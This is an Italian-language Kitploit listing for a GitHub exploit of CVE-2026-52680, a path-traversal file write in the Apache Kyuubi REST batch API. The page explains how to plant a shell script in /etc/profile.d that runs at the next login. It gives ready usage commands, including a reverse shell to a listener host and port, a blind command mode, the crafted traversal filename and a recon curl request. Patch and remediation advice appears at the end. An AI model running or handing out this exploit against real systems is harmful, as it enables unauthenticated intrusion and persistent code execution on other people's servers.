Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-52680_exploit — Exploit per Apache Kyuubi path traversal (CVE-2026-52680) che consente la scrittura arbitraria di file non autenticata e l'esecuzione di codice tramite script shell profile.d. | Kitploit
Strumenti/GitHubGitHub/0xdak/cve-2026-52680_exploit
Generazione di PayloadMeccanismi di PersistenzaExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Exploit per Apache Kyuubi path traversal (CVE-2026-52680) che consente la scrittura arbitraria di file non autenticata e l'esecuzione di codice tramite script shell profile.d.

Vedi Repository
17 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-52680 — Apache Kyuubi REST: scrittura arbitraria di file tramite Path-Traversal nel batch

Scrittura arbitraria di file non autenticata nell'API REST di Apache Kyuubi tramite l'endpoint multipart di invio batch.

POST /api/v1/batches (multipart/form-data) scrive la parte resourceFile in $KYUUBI_HOME/work/upload/<batchId>/ usando il nome file fornito dal client senza alcun controllo di path traversal (kyuubi-common Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

Un nome file con ../ fuoriesce dalla directory di upload → scrittura arbitraria di file (CWE-22) come utente del processo Kyuubi. Kyuubi viene fornito con kyuubi.authentication=NONE di default, quindi l'endpoint è non autenticato.

  • Interessate: Apache Kyuubi 1.7.0 – 1.11.1
  • Corretto: 1.12.0 (aggiunge il controllo di contenimento filePath.normalize().startsWith(dir.normalize()))
  • Porta predefinita: 10099 (frontend REST, non autenticato quando authentication=NONE)
  • CWE: 22 (Path Traversal) / 73 (Controllo esterno del nome o percorso del file)
  • Impatto: scrittura arbitraria di file come utente del processo Kyuubi → RCE

Vincolo importante — il basename viene alterato

writeToTempFile inserisce -<yyyyMMddHHmmss>-<counter> prima dell'estensione, quindi controlli la directory di destinazione, l'estensione e il contenuto, ma non l'esatto basename. Questo impedisce sovrascritture con nome esatto (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — punta invece a una posizione che viene eseguita per glob.

Questo exploit rilascia /etc/profile.d/pwn.sh → salvato come /etc/profile.d/pwn-<ts>-<n>.sh, che corrisponde ancora a /etc/profile.d/*.sh e viene sourced (non richiede il bit di esecuzione) da ogni shell di login. Viene eseguito come qualunque utente apra una shell di login — root se Kyuubi gira come root e avviene un login root (ad es. ssh root@host, su -, un cron bash -lc).

Requisiti

Solo libreria standard di Python 3 — nessuna dipendenza.

Utilizzo

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

L'upload restituisce HTTP 500 (Error opening batch session) quando non è presente un backend Spark — è previsto e innocuo: il file viene scritto prima che il batch venga avviato.

Come funziona

Due parti multipart:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — una BatchRequest minimale valida affinché la validazione passi e venga raggiunto il sink di upload.
  2. resourceFile, nome file ../../../../../../etc/profile.d/pwn.sh, body = il payload. Kyuubi lo scrive (con basename alterato) in /etc/profile.d/pwn-<ts>-<n>.sh.

Una shell di login successivamente esegue il source di /etc/profile.d/*.sh ed esegue il payload.

Identificare un target

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

Un frontend REST Kyuubi sulla porta 10099 con authentication=NONE è sfruttabile.

Rimedio

Aggiorna ad Apache Kyuubi ≥ 1.12.0, abilita l'autenticazione (kyuubi.authentication), non esporre mai il gateway REST a reti non fidate e non eseguire Kyuubi come root.

Dichiarazione di non responsabilità

Solo per test di sicurezza autorizzati e formazione. Usalo solo contro sistemi di tua proprietà o per cui hai esplicito permesso di test.

Scarica lo strumento